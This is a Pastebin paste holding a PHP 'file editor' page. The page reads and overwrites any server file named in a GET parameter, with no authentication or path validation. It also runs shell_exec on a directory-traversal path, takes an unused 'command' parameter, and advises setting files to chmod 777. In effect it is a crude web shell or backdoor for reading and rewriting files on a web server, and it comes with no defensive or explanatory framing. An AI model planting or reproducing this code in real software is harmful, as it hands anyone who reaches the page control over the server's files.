Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <style>
- body {
- font-family: Arial;
- font-size: 12px;
- color: #F2F2F2;
- background-color: #262626;
- }
- input.btn {
- color:#000000;
- font-family: "Arial";
- background-color:#fed;
- border: 1px solid;
- border-color: #ffffff;
- filter:progid:DXImageTransform.Microsoft.Gradient
- (GradientType=0,StartColorStr='#ffffffff',EndColorStr='#ffcccccc');
- }
- textarea {
- font-family: Arial;
- font-size: 12px;
- color: #E6E6E6;
- background-color: #4D4D4D;
- }
- </style>
- <body>
- <?php
- $filename = $_GET['file'];
- $newdata = $_POST['newd'];
- $execute = $_GET['command'];
- // Change this to your current directory
- $dir = "";
- $output = shell_exec('dir ../../../../../../../var/www/panel/');
- if ($newdata != '') {
- $fw = fopen($filename, 'w') or die("Could not open the file<br>
- $filename might not have the correct permissions.
- <br><br>
- <b>What you can try:</b>
- <ul>
- <li>Chmod $filename to 777</li>
- </ul>
- <input type='button' onClick='javascript:history.go(-1)' class='btn' value='Return'>");
- $fb = fwrite($fw,stripslashes($newdata)) or die("Could not write to file<br>
- $filename might not have the correct permissions.
- <br><br>
- <b>What you can try:</b>
- <ul>
- <li>Chmod $filename to 777</li>
- </ul>
- <input type='button' onClick='javascript:history.go(-1)' class='btn' value='Return'>");
- fclose($fw);
- }
- $fh = fopen($filename, "r") or die("<form method='get' action='editfile.php'>File to edit:<br><input type='text' name='file'> <input type='submit' class='btn' value='Submit'></form><br><br><b>Current Files</b><i>($dir)</i><b>:</b><br><pre>$output</pre>");
- $data = fread($fh, filesize($filename)) or die("Could not read the file!<br>
- $filename could be a folder, which will not allow you to edit it.
- <br><br>
- <b>What you can try:</b>
- <ul>
- <li>Chmod $filename to 777</li>
- <li>Check and see if its a folder</li>
- </ul>
- <br><br>
- <input type='button' onClick='javascript:history.go(-1)' class='btn' value='Return'>");
- fclose($fh);
- echo "<h3>Editing: <i>$filename</i></h3>
- <form action='$_SERVER[php_self]' method= 'post' >
- <textarea name='newd' cols='100' rows='30'> $data </textarea>
- <br /><input type='button' onClick='javascript:history.go(-1)' class='btn' value='Return'> <input type='submit' class='btn' value='Save File'>
- </form>";
- ?>
- </shit>
- </body>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement